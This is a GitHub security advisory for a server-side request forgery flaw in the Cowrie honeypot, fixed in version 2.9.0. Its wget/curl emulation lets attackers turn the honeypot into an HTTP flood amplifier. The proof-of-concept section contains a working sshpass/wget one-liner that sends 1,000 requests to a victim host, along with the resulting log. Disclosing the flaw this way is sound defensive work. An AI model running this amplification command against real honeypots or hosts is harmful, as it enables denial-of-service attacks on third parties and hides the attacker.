Skip to content

Cowrie has a SSRF vulnerability in wget/curl emulation enabling DDoS amplification

Moderate severity GitHub Reviewed Published Dec 19, 2025 in cowrie/cowrie • Updated Jan 14, 2026

Package

pip cowrie (pip)

Affected versions

< 2.9.0

Patched versions

2.9.0

Description

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Cowrie's emulated shell mode allows unauthenticated attackers to abuse the honeypot as an amplification vector for HTTP-based denial-of-service attacks against arbitrary third-party hosts.

Details

When Cowrie operates in emulated shell mode (the default configuration), it basically emulates common Linux commands. The wget and curl command emulations actually perform real outbound HTTP requests to the destinations specified by the attacker, as this functionality is intended to allow Cowrie to save downloaded files for later inspection.

An attacker who connects to the honeypot via SSH or Telnet can repeatedly invoke these commands targeting a victim host. Since there was no rate limiting mechanism in place, the attacker could generate unlimited outbound HTTP traffic toward the victim. The requests originate from the honeypot's IP address, effectively masking the attacker's identity and turning the honeypot into an unwitting participant in distributed denial-of-service (DDoS) attacks.

This vulnerability was observed being actively exploited in the wild.

Acknowledgements
This vulnerability was investigated by Abraham Gebrehiwot and Filippo Lauria, with additional contributions from Michele Castellaneta, Claudio Porta and Sara Afzal. All researchers are affiliated with the Institute of Informatics and Telematics (IIT), Italian National Research Council (CNR).

Fix
This issue has been fixed in version 2.9.0 via PR #2800, which introduces a rate limiting mechanism for outbound requests in command emulations such as wget and curl.

PoC

This is a rudimentary proof of concept demonstrating the amplification potential of this vulnerability.

Setup:

  • Victim machine (192.168.1.30): runs a simple HTTP server
  • Attacker machine (192.168.1.20): initiates the attack
  • Cowrie honeypot (192.168.1.10): configured in emulated shell mode with SSH access (credentials: test:test)

On the victim machine, start an HTTP server:

sudo python3 -m http.server 80

On the attacker machine, execute:

PAYLOAD=$(for i in {1..100}; do echo -n 'wget -q http://192.168.1.30;'; done) && \
for i in {1..10}; do sshpass -p test ssh [email protected] "$PAYLOAD"; done

This command builds a PAYLOAD consisting of 100 concatenated wget commands, then executes it 10 times via SSH, resulting in 1,000 HTTP requests toward the victim from a single attack script. The amplification factor can be arbitrarily increased by adjusting these values, bounded by technical limitations such as argument length, buffer sizes, etc.

Result: The victim's HTTP server logs show 1,000 requests originating exclusively from the honeypot's IP address (192.168.1.10), received within approximately 5 seconds (truncated for brevity):

192.168.1.10 - - [11/Dec/2025 14:33:03] "GET / HTTP/1.1" 200 -
192.168.1.10 - - [11/Dec/2025 14:33:03] "GET / HTTP/1.1" 200 -
192.168.1.10 - - [11/Dec/2025 14:33:03] "GET / HTTP/1.1" 200 -
...
192.168.1.10 - - [11/Dec/2025 14:33:08] "GET / HTTP/1.1" 200 -
192.168.1.10 - - [11/Dec/2025 14:33:08] "GET / HTTP/1.1" 200 -
192.168.1.10 - - [11/Dec/2025 14:33:08] "GET / HTTP/1.1" 200 -

Notice that the attacker's IP (192.168.1.20) never appears in the victim's logs, demonstrating how the honeypot masks the attacker's identity.

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability that enables abuse of Cowrie honeypots as DDoS amplification nodes.

Who is impacted: Any organization running Cowrie in emulated shell mode (the default configuration) with versions prior to 2.9.0.

Consequences:

  • Third-party victims receive unwanted HTTP traffic from the honeypot's IP address
  • Attackers can mask their identity behind the honeypot's IP
  • Honeypot operators may face abuse complaints or have their infrastructure blocklisted
  • Network resources of the honeypot host are consumed

References

@micheloosterhof micheloosterhof published to cowrie/cowrie Dec 19, 2025
Published to the GitHub Advisory Database Dec 20, 2025
Reviewed Dec 20, 2025
Published by the National Vulnerability Database Dec 31, 2025
Last updated Jan 14, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability Low

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(57th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2025-34469

GHSA ID

GHSA-83jg-m2pm-4jxj

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.